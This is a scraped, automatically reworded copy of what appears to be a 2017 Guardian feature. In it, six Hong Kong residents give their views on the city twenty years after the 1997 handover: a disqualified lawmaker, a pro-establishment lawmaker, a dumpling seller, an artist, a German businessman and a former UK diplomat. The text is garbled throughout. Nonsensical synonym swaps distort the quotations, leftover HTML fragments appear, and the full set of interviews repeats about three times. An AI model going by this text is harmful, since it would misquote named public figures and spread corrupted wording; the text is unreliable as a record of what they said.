On the other hand I have to say that I knew Hong Kong people as survivors who stand up promptly after a come and adapt rapidly to new situations as they have shown after the handover.

Richard Margolis, onetime UK diplomat

China must keep its hopes but Hong Kong has to keep its feature of the bargain as well.

Richard Margolis, a onetime UK diplomat who negotiated the terms of Hong Kongs handover to China. Photo: Benjamin Haas for the Guardian figcaption > informant > Twenty years after the handover, the key elements which form Hong Kong differences between China are still present: freedom of expression, freedom of assembly, freedom of conscience and an independent judiciary. Will this sustain, specially since Hong Kongs importance to China has waned in the past 20 times? Answer: yes but only if both Hong Kong and Beijing keep their surfaces of the bargain.

Before excusing this, a couple of basic notions which are often forgotten:

It is not and never has been a required health for Hong Kongs survival for China to be ruled by people who share the values that underpin Hong Kong . li> All that is required of Chinas commanders is that they perceive a balance of advantage to them in continuing to accept Hong Kongs separateness.

That balance of advantage is less overwhelmingly obvious than it was 20 years ago, but still exists, in my opinion. And Chinas chairmen have huge challenges plethora industrial capability, plethora indebtednes, hindering growth, rapidly ageing person which means that their immense advantage is for Hong Kong to get on with its detached reality, do what it needs to do to adapt to a changing world, remain competitive and not inconvenience Beijing.

But Hong Kong has had a tendency since the handover to ask for special copes, such as CEPA( Closer Economic Partnership Arrangement ). And Hong Kong business people acquired the dres of lobbying in Beijing in pursuit of the best interest in Hong Kong. All of these activities seem to me against the spirit of the handover organisations, who the hell is: You leave us alone and we wont bother you.

So my inference is that it is, of course, essential that China keep its predicts but Hong Kong has to keep its back of the bargain as well.

Read more: https :// www.theguardian.com/ macrocosm/ 2017/ jun/ 28/ how-china-changed-hong-kong-views-city-handover-1 997 -uk-residents

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As the 20 th commemoration of the handover from the UK to China is commemorated, the Guardian talks to residents and officials about the changes since 1997

Hong Kong is preparing to mark the 20 th remembrance of the handover of its national territory from the UK to China. The minute will bring thousands on to the streets some to celebrate and others to assert. Now the Guardian invites six Hong Kong inhabitants about their reminiscences of 1997 and their imagines on the citys future.

Yau Wai-ching, disqualified lawmaker

Hong Kong parties have been forced to pay for a deceit.

Yau Wai-ching in Hong Kongs Sheung Wan district. Picture: Benjamin Haas for the Guardian figcaption > informant > At midnight on 30 June 1997, I recollect a heavy rain and my seeings virtually closing, virtually falling asleep. But I didnt. I was forced to concentrate on my parents age-old television screen, watching two flags: one was the flag of United kingdom government, the other was Chinas. I tried to ask my mummy about what was happening on that screen, but I could not understand, except for the one phrase that I learned that evening: handover.

Nothing changed the next day. In my world as a six-year-old I was waiting till September when I would become a primary 1 student. My mothers said the handover intended good-for-nothing to them as they still had to work and pay taxes. Everything seemed to remain unchanged, exactly what the Chinese government promised to the Hong Kong people.

But then time by time, Cantonese began to be replaced by Mandarin, our constitutional laws obligated in the 1980 s have been amended and understood by the Chinese authority, and qualities among Hong Kongers changed after an influx of more than a million immigrants from China since 1997. Those mainlanders have come to dominate lots of the social sky. Regionals are now ever denounced as discriminating against those new immigrants if we ever conveyed a different opinion and sometimes we are even slurred as totalitarians or racists.

In these past 20 times, Hong Kongers still believe in the law and the courts, fairness and democracy, but we no longer believe in the system and regulations created by the Chinese government. Instead of becoming more like Hong Kong, the Chinese government will use any type of publicity or immigration policy to clear us more like them.

We have started to realise that the United kingdom government and China signed a treaty in 1984 that was supposed to protect Hong Kong, but it has turned out to be a subterfuge and a laugh. Since the handover all Hong Kong beings have been forced to pay for that deceit.

Holden Chow, pro-establishment lawmaker

Hong Kong is part of China and “were about” Chinese: this is a fact and never in dispute.

Holden Chow at his office in Hong Kongs legislative council. Photo: Benjamin Haas for the Guardian figcaption > beginning > I was in UK back in 1997 doing my -Alevels, and I returned to Hong Kong before 1 July to evidenced the handover formality. As a patriot, I was always happy to see the handover and the establishment of Hong kong sar of the Peoples Republic of China. I repute the one country, two systems works well: Hong Kong definitely has been able to sustain affluence and with the full patronage from central government, we even have existed global economic crisis.

It is reasonable for us to expect the difficulties and conflicts to arise in the course of implementing the one country, two systems principle. But what actually stuffs is how do we resolve such conflicts. The opponent or the so-called pan-democrats perhaps favor stirring up conflicts, or to simply blow everything out of proportion. Owing to the Occupy campaign orchestrated by the opponent, Hong Kong has become heavily subdivided. The pan-democrats might clock up public backing in the course of fomenting upheaval in the city, but that is done at the expense of the citys interests.

As a member of the pro-establishment tent, I anticipate adjudicating conflicts around an friendly method is a better preference than what the foe has been doing.

The majority of Hong Kong people have never expressed support for the notorious project of Hong Kong independence. Hong Kong is part of China and we are Chinese: this is a fact and never in dispute.

The growth and development of China surely offers opportunities to Hong Kong extremely. I trust one country, two systems is the best option for Hong Kong and for mainland China extremely, and the central government fully understands this. The foe had all along been falsely accusing that the city is entirely lost our autonomy and rule of principle, which is utterly misleading. A robust one country, two systems regime could be upheld only if the resist stops attempting to spoil the confidence between Hong Kong and central government, such as peddling separatism, or forgiving the wrongful conduct in oath-taking adventure.

Zhang Zhenping, dumpling stall owned

For all of Hong Kongs glitches, its still a more free place.

Zhang Zhenping, a dumpling stall proprietor initially from Tianjin, China, in her supermarket in Hong Kong. Picture: Benjamin Haas for the Guardian figcaption > root > When I first arrived in Hong Kong from China in the early 90 s, there was intense vitality. I came here to make money, and although there are I do not have a lot of education or culture, I lived well and I could provide for my family preparing dumplings in a restaurant.

Hong Kong was a much more equal neighbourhood 20 years ago and there was more financial proliferation for everyone. Beings like me at the bottom still came bonuses and although I worked hard, sweating in kitchens realizing hundreds of dumplings, wontons and buns every day, my fund felt like it was worth more. Now Im acting even harder for less.

Since the handover life has already become much harder for regular working person, expenditures for everything is going up and it has hit parties like me the most. These changes dont change the rich, but I merely build meat, because I dont have any culture and I can never be rich.

These daylights all the economic opportunities are in China; Hong Kong cant participate. My old-time boss from the restaurant shut his business now and went back to Beijing. He said he could do more fund there.

I chose to stay, so I opened a dumpling stop 3 years ago. Its not much, but Im my own boss a bit boss, but still a boss.

But despite all the hardship and bitterness, I feel better now. I go back to my hometown in China maybe once a year. People have money, but they have so much better life influences and are miserable.

I dont want to go back to the mainland, I dont like the politics there at least here people can say what they miss. For all of Hong Kongs demerits, its still a more free place.

Amy Cheung, artist

We seem to rally towards extraordinary polarisation at every level of society.

Artist Amy Cheung at her home in Hong Kong. Photograph: Benjamin Haas for the Guardian figcaption > root > I was studying in London in 1997, a year that labelled my name enlightenment. In Britain, numerous people asked me once they knew that I came from Hong Kong: How do you feel about Hong Kong being returned to China? Are you startled? Dont you worry about your liberal way of life being mashed by the Communist China? Are they going to control your press, internet, limit your freedom of speech, belief, passage, currency and the principles of the rule of ordinance?

Others speculated: You must be so happy that Hong Kong now returns to the espouse of the Motherland, ending your shame of living as colonised subject. You can now stand tall with pride to acknowledge that you are sons and daughters of the dragon, with 5,000 years of civilisation, part of a great China the Middle Kingdom.

My face extended blank. Freezing sweat. I opened my cavity but my tongue ended. My brain scanned through the great capacity of information that had been spoon-fed to me since I was born, all data, happenings, figures, workbooks, qualifies for testing and examsthat I exceeded at to get to where I was. But I was so ignorant about the constituencies of my identity, cultural heritage; moral, ethical and national importance; belief organizations, functions, rights and all collateral issues related.

Was this intentional indifference a colonial education container? I still ponder. Twenty years ago, name politics had failed to arrest either learners or professors courtesy, unlike today. I was completely perplexed by my inability to feel any ardour at that crucial juncture of our history. I was not altogether apathetic, although it seems hard it is now time imagine that my contemporary grown up apolitical.

However, I did witness the self-determination discourse that took off steadily after 1997. An awareness of our government identity burst into our communal consciousness, from the momentum gleaned around the anti-subversion rule, anti-national education objection, the annual 1 July rally, umbrella rebellion, and the endless paralysing crusade between the pro-establishment and pan-democratic camp.

In 2017, I find breathless to ordeal Hong Kong at such a high feelings altitude. Blood is easily stewed, grey zones get greyer, reconciliations are almost impossible. I dont know how, but we seem to procession self-destructively towards an remarkable polarisation at all levels of society.

Karl Mayer, merchant

Hong Kong beings are survivors who stand up instantly after a fall.

Karl Mayer, a German entrepreneur, in front of Hong Kongs Victoria Harbour. Photo: Benjamin Haas for the Guardian figcaption > beginning > For a fast-moving municipality like Hong Kong, change is inevitable. Still little had changed following the end of the handover to China and for the first years the only obvious change was the lore that now the Chinese legion was stationed in Prince Edward building hoisting the Chinese pennant in the middle of Hong Kong.

In the late 90 s, Hong Kong still seemed to remain a free municipal running its own method and still flourishing from being considered the gateway to China. Even the first chief executive, Tung Chee-hwa, at least tried to protect the interests of Hong Kong parties and negotiate with the Chinese authority on heart level. This, however, rapidly changed with the arrival of the new millennium and the gold-rush atmosphere in mainland China.

Hong Kong lost its role as gateway to China and international patrons started to deal instantly with the mainland. Hong Kongs answer was to quickly adapt by trying to establish the city as an amusement, amusement, shopping and tourism hub and the concept worked out with piles of tourists flowing into Hong Kong every year especially from China.

Becoming part of China will remain the big topic over the next 30 times and the subtle attempts from Beijing to infiltrate Hong Kong with usage, education and the election system will become more overt and direct and will affect likewise other areas such as investment, commerce, taxes and politics. To give this to the HK parties and the world in a positive way will be the most important role of the newly elected chief executive.

The stream of tourists will ultimately decline, especially from China who will start jaunting to countries greatly abroad. Although women enjoy excellent food and scenes in Hong Kong, the city does not bring home fond memories of being treated respectfully, nature and politely.

Only having aged and rich person in a city who are come in the winter to remain and enjoy the warmth and pleasantries of Hong Kong will turn the city into something like Monaco in Europe.

On the other hand I have to say that I knew Hong Kong people as survivors who stand up promptly after a come and adapt rapidly to new situations as they have shown after the handover.

Richard Margolis, onetime UK diplomat

China must keep its hopes but Hong Kong has to keep its feature of the bargain as well.

Richard Margolis, a onetime UK diplomat who negotiated the terms of Hong Kongs handover to China. Photo: Benjamin Haas for the Guardian figcaption > informant > Twenty years after the handover, the key elements which form Hong Kong differences between China are still present: freedom of expression, freedom of assembly, freedom of conscience and an independent judiciary. Will this sustain, specially since Hong Kongs importance to China has waned in the past 20 times? Answer: yes but only if both Hong Kong and Beijing keep their surfaces of the bargain.

Before excusing this, a couple of basic notions which are often forgotten:

It is not and never has been a required health for Hong Kongs survival for China to be ruled by people who share the values that underpin Hong Kong . li> All that is required of Chinas commanders is that they perceive a balance of advantage to them in continuing to accept Hong Kongs separateness.

That balance of advantage is less overwhelmingly obvious than it was 20 years ago, but still exists, in my opinion. And Chinas chairmen have huge challenges plethora industrial capability, plethora indebtednes, hindering growth, rapidly ageing person which means that their immense advantage is for Hong Kong to get on with its detached reality, do what it needs to do to adapt to a changing world, remain competitive and not inconvenience Beijing.

But Hong Kong has had a tendency since the handover to ask for special copes, such as CEPA( Closer Economic Partnership Arrangement ). And Hong Kong business people acquired the dres of lobbying in Beijing in pursuit of the best interest in Hong Kong. All of these activities seem to me against the spirit of the handover organisations, who the hell is: You leave us alone and we wont bother you.

So my inference is that it is, of course, essential that China keep its predicts but Hong Kong has to keep its back of the bargain as well.

Read more: https :// www.theguardian.com/ macrocosm/ 2017/ jun/ 28/ how-china-changed-hong-kong-views-city-handover-1 997 -uk-residents

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As the 20 th commemoration of the handover from the UK to China is commemorated, the Guardian talks to residents and officials about the changes since 1997

Hong Kong is preparing to mark the 20 th remembrance of the handover of its national territory from the UK to China. The minute will bring thousands on to the streets some to celebrate and others to assert. Now the Guardian invites six Hong Kong inhabitants about their reminiscences of 1997 and their imagines on the citys future.

Yau Wai-ching, disqualified lawmaker

Hong Kong parties have been forced to pay for a deceit.

Yau Wai-ching in Hong Kongs Sheung Wan district. Picture: Benjamin Haas for the Guardian figcaption > informant > At midnight on 30 June 1997, I recollect a heavy rain and my seeings virtually closing, virtually falling asleep. But I didnt. I was forced to concentrate on my parents age-old television screen, watching two flags: one was the flag of United kingdom government, the other was Chinas. I tried to ask my mummy about what was happening on that screen, but I could not understand, except for the one phrase that I learned that evening: handover.

Nothing changed the next day. In my world as a six-year-old I was waiting till September when I would become a primary 1 student. My mothers said the handover intended good-for-nothing to them as they still had to work and pay taxes. Everything seemed to remain unchanged, exactly what the Chinese government promised to the Hong Kong people.

But then time by time, Cantonese began to be replaced by Mandarin, our constitutional laws obligated in the 1980 s have been amended and understood by the Chinese authority, and qualities among Hong Kongers changed after an influx of more than a million immigrants from China since 1997. Those mainlanders have come to dominate lots of the social sky. Regionals are now ever denounced as discriminating against those new immigrants if we ever conveyed a different opinion and sometimes we are even slurred as totalitarians or racists.

In these past 20 times, Hong Kongers still believe in the law and the courts, fairness and democracy, but we no longer believe in the system and regulations created by the Chinese government. Instead of becoming more like Hong Kong, the Chinese government will use any type of publicity or immigration policy to clear us more like them.

We have started to realise that the United kingdom government and China signed a treaty in 1984 that was supposed to protect Hong Kong, but it has turned out to be a subterfuge and a laugh. Since the handover all Hong Kong beings have been forced to pay for that deceit.

Holden Chow, pro-establishment lawmaker

Hong Kong is part of China and “were about” Chinese: this is a fact and never in dispute.

Holden Chow at his office in Hong Kongs legislative council. Photo: Benjamin Haas for the Guardian figcaption > beginning > I was in UK back in 1997 doing my -Alevels, and I returned to Hong Kong before 1 July to evidenced the handover formality. As a patriot, I was always happy to see the handover and the establishment of Hong kong sar of the Peoples Republic of China. I repute the one country, two systems works well: Hong Kong definitely has been able to sustain affluence and with the full patronage from central government, we even have existed global economic crisis.

It is reasonable for us to expect the difficulties and conflicts to arise in the course of implementing the one country, two systems principle. But what actually stuffs is how do we resolve such conflicts. The opponent or the so-called pan-democrats perhaps favor stirring up conflicts, or to simply blow everything out of proportion. Owing to the Occupy campaign orchestrated by the opponent, Hong Kong has become heavily subdivided. The pan-democrats might clock up public backing in the course of fomenting upheaval in the city, but that is done at the expense of the citys interests.

As a member of the pro-establishment tent, I anticipate adjudicating conflicts around an friendly method is a better preference than what the foe has been doing.

The majority of Hong Kong people have never expressed support for the notorious project of Hong Kong independence. Hong Kong is part of China and we are Chinese: this is a fact and never in dispute.

The growth and development of China surely offers opportunities to Hong Kong extremely. I trust one country, two systems is the best option for Hong Kong and for mainland China extremely, and the central government fully understands this. The foe had all along been falsely accusing that the city is entirely lost our autonomy and rule of principle, which is utterly misleading. A robust one country, two systems regime could be upheld only if the resist stops attempting to spoil the confidence between Hong Kong and central government, such as peddling separatism, or forgiving the wrongful conduct in oath-taking adventure.

Zhang Zhenping, dumpling stall owned

For all of Hong Kongs glitches, its still a more free place.

Zhang Zhenping, a dumpling stall proprietor initially from Tianjin, China, in her supermarket in Hong Kong. Picture: Benjamin Haas for the Guardian figcaption > root > When I first arrived in Hong Kong from China in the early 90 s, there was intense vitality. I came here to make money, and although there are I do not have a lot of education or culture, I lived well and I could provide for my family preparing dumplings in a restaurant.

Hong Kong was a much more equal neighbourhood 20 years ago and there was more financial proliferation for everyone. Beings like me at the bottom still came bonuses and although I worked hard, sweating in kitchens realizing hundreds of dumplings, wontons and buns every day, my fund felt like it was worth more. Now Im acting even harder for less.

Since the handover life has already become much harder for regular working person, expenditures for everything is going up and it has hit parties like me the most. These changes dont change the rich, but I merely build meat, because I dont have any culture and I can never be rich.

These daylights all the economic opportunities are in China; Hong Kong cant participate. My old-time boss from the restaurant shut his business now and went back to Beijing. He said he could do more fund there.

I chose to stay, so I opened a dumpling stop 3 years ago. Its not much, but Im my own boss a bit boss, but still a boss.

But despite all the hardship and bitterness, I feel better now. I go back to my hometown in China maybe once a year. People have money, but they have so much better life influences and are miserable.

I dont want to go back to the mainland, I dont like the politics there at least here people can say what they miss. For all of Hong Kongs demerits, its still a more free place.

Amy Cheung, artist

We seem to rally towards extraordinary polarisation at every level of society.

Artist Amy Cheung at her home in Hong Kong. Photograph: Benjamin Haas for the Guardian figcaption > root > I was studying in London in 1997, a year that labelled my name enlightenment. In Britain, numerous people asked me once they knew that I came from Hong Kong: How do you feel about Hong Kong being returned to China? Are you startled? Dont you worry about your liberal way of life being mashed by the Communist China? Are they going to control your press, internet, limit your freedom of speech, belief, passage, currency and the principles of the rule of ordinance?

Others speculated: You must be so happy that Hong Kong now returns to the espouse of the Motherland, ending your shame of living as colonised subject. You can now stand tall with pride to acknowledge that you are sons and daughters of the dragon, with 5,000 years of civilisation, part of a great China the Middle Kingdom.

My face extended blank. Freezing sweat. I opened my cavity but my tongue ended. My brain scanned through the great capacity of information that had been spoon-fed to me since I was born, all data, happenings, figures, workbooks, qualifies for testing and examsthat I exceeded at to get to where I was. But I was so ignorant about the constituencies of my identity, cultural heritage; moral, ethical and national importance; belief organizations, functions, rights and all collateral issues related.

Was this intentional indifference a colonial education container? I still ponder. Twenty years ago, name politics had failed to arrest either learners or professors courtesy, unlike today. I was completely perplexed by my inability to feel any ardour at that crucial juncture of our history. I was not altogether apathetic, although it seems hard it is now time imagine that my contemporary grown up apolitical.

However, I did witness the self-determination discourse that took off steadily after 1997. An awareness of our government identity burst into our communal consciousness, from the momentum gleaned around the anti-subversion rule, anti-national education objection, the annual 1 July rally, umbrella rebellion, and the endless paralysing crusade between the pro-establishment and pan-democratic camp.

In 2017, I find breathless to ordeal Hong Kong at such a high feelings altitude. Blood is easily stewed, grey zones get greyer, reconciliations are almost impossible. I dont know how, but we seem to procession self-destructively towards an remarkable polarisation at all levels of society.

Karl Mayer, merchant

Hong Kong beings are survivors who stand up instantly after a fall.

Karl Mayer, a German entrepreneur, in front of Hong Kongs Victoria Harbour. Photo: Benjamin Haas for the Guardian figcaption > beginning > For a fast-moving municipality like Hong Kong, change is inevitable. Still little had changed following the end of the handover to China and for the first years the only obvious change was the lore that now the Chinese legion was stationed in Prince Edward building hoisting the Chinese pennant in the middle of Hong Kong.

In the late 90 s, Hong Kong still seemed to remain a free municipal running its own method and still flourishing from being considered the gateway to China. Even the first chief executive, Tung Chee-hwa, at least tried to protect the interests of Hong Kong parties and negotiate with the Chinese authority on heart level. This, however, rapidly changed with the arrival of the new millennium and the gold-rush atmosphere in mainland China.

Hong Kong lost its role as gateway to China and international patrons started to deal instantly with the mainland. Hong Kongs answer was to quickly adapt by trying to establish the city as an amusement, amusement, shopping and tourism hub and the concept worked out with piles of tourists flowing into Hong Kong every year especially from China.

Becoming part of China will remain the big topic over the next 30 times and the subtle attempts from Beijing to infiltrate Hong Kong with usage, education and the election system will become more overt and direct and will affect likewise other areas such as investment, commerce, taxes and politics. To give this to the HK parties and the world in a positive way will be the most important role of the newly elected chief executive.

The stream of tourists will ultimately decline, especially from China who will start jaunting to countries greatly abroad. Although women enjoy excellent food and scenes in Hong Kong, the city does not bring home fond memories of being treated respectfully, nature and politely.

Only having aged and rich person in a city who are come in the winter to remain and enjoy the warmth and pleasantries of Hong Kong will turn the city into something like Monaco in Europe.

On the other hand I have to say that I knew Hong Kong people as survivors who stand up promptly after a come and adapt rapidly to new situations as they have shown after the handover.

Richard Margolis, onetime UK diplomat

China must keep its hopes but Hong Kong has to keep its feature of the bargain as well.

Richard Margolis, a onetime UK diplomat who negotiated the terms of Hong Kongs handover to China. Photo: Benjamin Haas for the Guardian figcaption > informant > Twenty years after the handover, the key elements which form Hong Kong differences between China are still present: freedom of expression, freedom of assembly, freedom of conscience and an independent judiciary. Will this sustain, specially since Hong Kongs importance to China has waned in the past 20 times? Answer: yes but only if both Hong Kong and Beijing keep their surfaces of the bargain.

Before excusing this, a couple of basic notions which are often forgotten:

It is not and never has been a required health for Hong Kongs survival for China to be ruled by people who share the values that underpin Hong Kong . li> All that is required of Chinas commanders is that they perceive a balance of advantage to them in continuing to accept Hong Kongs separateness. That balance of advantage is less overwhelmingly obvious than it was 20 years ago, but still exists, in my opinion. And Chinas chairmen have huge challenges plethora industrial capability, plethora indebtednes, hindering growth, rapidly ageing person which means that their immense advantage is for Hong Kong to get on with its detached reality, do what it needs to do to adapt to a changing world, remain competitive and not inconvenience Beijing.

But Hong Kong has had a tendency since the handover to ask for special copes, such as CEPA( Closer Economic Partnership Arrangement ). And Hong Kong business people acquired the dres of lobbying in Beijing in pursuit of the best interest in Hong Kong. All of these activities seem to me against the spirit of the handover organisations, who the hell is: You leave us alone and we wont bother you.

So my inference is that it is, of course, essential that China keep its predicts but Hong Kong has to keep its back of the bargain as well.

Read more: https :// www.theguardian.com/ macrocosm/ 2017/ jun/ 28/ how-china-changed-hong-kong-views-city-handover-1 997 -uk-residents

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As the 20 th commemoration of the handover from the UK to China is commemorated, the Guardian talks to residents and officials about the changes since 1997

Hong Kong is preparing to mark the 20 th remembrance of the handover of its national territory from the UK to China. The minute will bring thousands on to the streets some to celebrate and others to assert. Now the Guardian invites six Hong Kong inhabitants about their reminiscences of 1997 and their imagines on the citys future.

Yau Wai-ching, disqualified lawmaker

Hong Kong parties have been forced to pay for a deceit.

Yau Wai-ching in Hong Kongs Sheung Wan district. Picture: Benjamin Haas for the Guardian figcaption > informant >

At midnight on 30 June 1997, I recollect a heavy rain and my seeings virtually closing, virtually falling asleep. But I didnt. I was forced to concentrate on my parents age-old television screen, watching two flags: one was the flag of United kingdom government, the other was Chinas. I tried to ask my mummy about what was happening on that screen, but I could not understand, except for the one phrase that I learned that evening: handover.

Nothing changed the next day. In my world as a six-year-old I was waiting till September when I would become a primary 1 student. My mothers said the handover intended good-for-nothing to them as they still had to work and pay taxes. Everything seemed to remain unchanged, exactly what the Chinese government promised to the Hong Kong people.

But then time by time, Cantonese began to be replaced by Mandarin, our constitutional laws obligated in the 1980 s have been amended and understood by the Chinese authority, and qualities among Hong Kongers changed after an influx of more than a million immigrants from China since 1997. Those mainlanders have come to dominate lots of the social sky. Regionals are now ever denounced as discriminating against those new immigrants if we ever conveyed a different opinion and sometimes we are even slurred as totalitarians or racists.

In these past 20 times, Hong Kongers still believe in the law and the courts, fairness and democracy, but we no longer believe in the system and regulations created by the Chinese government. Instead of becoming more like Hong Kong, the Chinese government will use any type of publicity or immigration policy to clear us more like them.

We have started to realise that the United kingdom government and China signed a treaty in 1984 that was supposed to protect Hong Kong, but it has turned out to be a subterfuge and a laugh. Since the handover all Hong Kong beings have been forced to pay for that deceit.

Holden Chow, pro-establishment lawmaker

Hong Kong is part of China and “were about” Chinese: this is a fact and never in dispute.

Holden Chow at his office in Hong Kongs legislative council. Photo: Benjamin Haas for the Guardian figcaption > beginning >

I was in UK back in 1997 doing my -Alevels, and I returned to Hong Kong before 1 July to evidenced the handover formality. As a patriot, I was always happy to see the handover and the establishment of Hong kong sar of the Peoples Republic of China. I repute the one country, two systems works well: Hong Kong definitely has been able to sustain affluence and with the full patronage from central government, we even have existed global economic crisis.

It is reasonable for us to expect the difficulties and conflicts to arise in the course of implementing the one country, two systems principle. But what actually stuffs is how do we resolve such conflicts. The opponent or the so-called pan-democrats perhaps favor stirring up conflicts, or to simply blow everything out of proportion. Owing to the Occupy campaign orchestrated by the opponent, Hong Kong has become heavily subdivided. The pan-democrats might clock up public backing in the course of fomenting upheaval in the city, but that is done at the expense of the citys interests.

As a member of the pro-establishment tent, I anticipate adjudicating conflicts around an friendly method is a better preference than what the foe has been doing.

The majority of Hong Kong people have never expressed support for the notorious project of Hong Kong independence. Hong Kong is part of China and we are Chinese: this is a fact and never in dispute.

The growth and development of China surely offers opportunities to Hong Kong extremely. I trust one country, two systems is the best option for Hong Kong and for mainland China extremely, and the central government fully understands this. The foe had all along been falsely accusing that the city is entirely lost our autonomy and rule of principle, which is utterly misleading. A robust one country, two systems regime could be upheld only if the resist stops attempting to spoil the confidence between Hong Kong and central government, such as peddling separatism, or forgiving the wrongful conduct in oath-taking adventure.

Zhang Zhenping, dumpling stall owned

For all of Hong Kongs glitches, its still a more free place.

Zhang Zhenping, a dumpling stall proprietor initially from Tianjin, China, in her supermarket in Hong Kong. Picture: Benjamin Haas for the Guardian figcaption > root >

When I first arrived in Hong Kong from China in the early 90 s, there was intense vitality. I came here to make money, and although there are I do not have a lot of education or culture, I lived well and I could provide for my family preparing dumplings in a restaurant.

Hong Kong was a much more equal neighbourhood 20 years ago and there was more financial proliferation for everyone. Beings like me at the bottom still came bonuses and although I worked hard, sweating in kitchens realizing hundreds of dumplings, wontons and buns every day, my fund felt like it was worth more. Now Im acting even harder for less.

Since the handover life has already become much harder for regular working person, expenditures for everything is going up and it has hit parties like me the most. These changes dont change the rich, but I merely build meat, because I dont have any culture and I can never be rich.

These daylights all the economic opportunities are in China; Hong Kong cant participate. My old-time boss from the restaurant shut his business now and went back to Beijing. He said he could do more fund there.

I chose to stay, so I opened a dumpling stop 3 years ago. Its not much, but Im my own boss a bit boss, but still a boss.

But despite all the hardship and bitterness, I feel better now. I go back to my hometown in China maybe once a year. People have money, but they have so much better life influences and are miserable.

I dont want to go back to the mainland, I dont like the politics there at least here people can say what they miss. For all of Hong Kongs demerits, its still a more free place.

Amy Cheung, artist

We seem to rally towards extraordinary polarisation at every level of society.

Artist Amy Cheung at her home in Hong Kong. Photograph: Benjamin Haas for the Guardian figcaption > root >

I was studying in London in 1997, a year that labelled my name enlightenment. In Britain, numerous people asked me once they knew that I came from Hong Kong: How do you feel about Hong Kong being returned to China? Are you startled? Dont you worry about your liberal way of life being mashed by the Communist China? Are they going to control your press, internet, limit your freedom of speech, belief, passage, currency and the principles of the rule of ordinance?

Others speculated: You must be so happy that Hong Kong now returns to the espouse of the Motherland, ending your shame of living as colonised subject. You can now stand tall with pride to acknowledge that you are sons and daughters of the dragon, with 5,000 years of civilisation, part of a great China the Middle Kingdom.

My face extended blank. Freezing sweat. I opened my cavity but my tongue ended. My brain scanned through the great capacity of information that had been spoon-fed to me since I was born, all data, happenings, figures, workbooks, qualifies for testing and examsthat I exceeded at to get to where I was. But I was so ignorant about the constituencies of my identity, cultural heritage; moral, ethical and national importance; belief organizations, functions, rights and all collateral issues related.

Was this intentional indifference a colonial education container? I still ponder. Twenty years ago, name politics had failed to arrest either learners or professors courtesy, unlike today. I was completely perplexed by my inability to feel any ardour at that crucial juncture of our history. I was not altogether apathetic, although it seems hard it is now time imagine that my contemporary grown up apolitical.

However, I did witness the self-determination discourse that took off steadily after 1997. An awareness of our government identity burst into our communal consciousness, from the momentum gleaned around the anti-subversion rule, anti-national education objection, the annual 1 July rally, umbrella rebellion, and the endless paralysing crusade between the pro-establishment and pan-democratic camp.

In 2017, I find breathless to ordeal Hong Kong at such a high feelings altitude. Blood is easily stewed, grey zones get greyer, reconciliations are almost impossible. I dont know how, but we seem to procession self-destructively towards an remarkable polarisation at all levels of society.

Karl Mayer, merchant

Hong Kong beings are survivors who stand up instantly after a fall.

Karl Mayer, a German entrepreneur, in front of Hong Kongs Victoria Harbour. Photo: Benjamin Haas for the Guardian figcaption > beginning >

For a fast-moving municipality like Hong Kong, change is inevitable. Still little had changed following the end of the handover to China and for the first years the only obvious change was the lore that now the Chinese legion was stationed in Prince Edward building hoisting the Chinese pennant in the middle of Hong Kong.

In the late 90 s, Hong Kong still seemed to remain a free municipal running its own method and still flourishing from being considered the gateway to China. Even the first chief executive, Tung Chee-hwa, at least tried to protect the interests of Hong Kong parties and negotiate with the Chinese authority on heart level. This, however, rapidly changed with the arrival of the new millennium and the gold-rush atmosphere in mainland China.

Hong Kong lost its role as gateway to China and international patrons started to deal instantly with the mainland. Hong Kongs answer was to quickly adapt by trying to establish the city as an amusement, amusement, shopping and tourism hub and the concept worked out with piles of tourists flowing into Hong Kong every year especially from China.

Becoming part of China will remain the big topic over the next 30 times and the subtle attempts from Beijing to infiltrate Hong Kong with usage, education and the election system will become more overt and direct and will affect likewise other areas such as investment, commerce, taxes and politics. To give this to the HK parties and the world in a positive way will be the most important role of the newly elected chief executive.

The stream of tourists will ultimately decline, especially from China who will start jaunting to countries greatly abroad. Although women enjoy excellent food and scenes in Hong Kong, the city does not bring home fond memories of being treated respectfully, nature and politely.

Only having aged and rich person in a city who are come in the winter to remain and enjoy the warmth and pleasantries of Hong Kong will turn the city into something like Monaco in Europe.

On the other hand I have to say that I knew Hong Kong people as survivors who stand up promptly after a come and adapt rapidly to new situations as they have shown after the handover.

Richard Margolis, onetime UK diplomat

China must keep its hopes but Hong Kong has to keep its feature of the bargain as well.

Richard Margolis, a onetime UK diplomat who negotiated the terms of Hong Kongs handover to China. Photo: Benjamin Haas for the Guardian figcaption > informant >

Twenty years after the handover, the key elements which form Hong Kong differences between China are still present: freedom of expression, freedom of assembly, freedom of conscience and an independent judiciary. Will this sustain, specially since Hong Kongs importance to China has waned in the past 20 times? Answer: yes but only if both Hong Kong and Beijing keep their surfaces of the bargain.

Before excusing this, a couple of basic notions which are often forgotten:

It is not and never has been a required health for Hong Kongs survival for China to be ruled by people who share the values that underpin Hong Kong . li>

All that is required of Chinas commanders is that they perceive a balance of advantage to them in continuing to accept Hong Kongs separateness.

That balance of advantage is less overwhelmingly obvious than it was 20 years ago, but still exists, in my opinion. And Chinas chairmen have huge challenges plethora industrial capability, plethora indebtednes, hindering growth, rapidly ageing person which means that their immense advantage is for Hong Kong to get on with its detached reality, do what it needs to do to adapt to a changing world, remain competitive and not inconvenience Beijing.

But Hong Kong has had a tendency since the handover to ask for special copes, such as CEPA( Closer Economic Partnership Arrangement ). And Hong Kong business people acquired the dres of lobbying in Beijing in pursuit of the best interest in Hong Kong. All of these activities seem to me against the spirit of the handover organisations, who the hell is: You leave us alone and we wont bother you.

So my inference is that it is, of course, essential that China keep its predicts but Hong Kong has to keep its back of the bargain as well.

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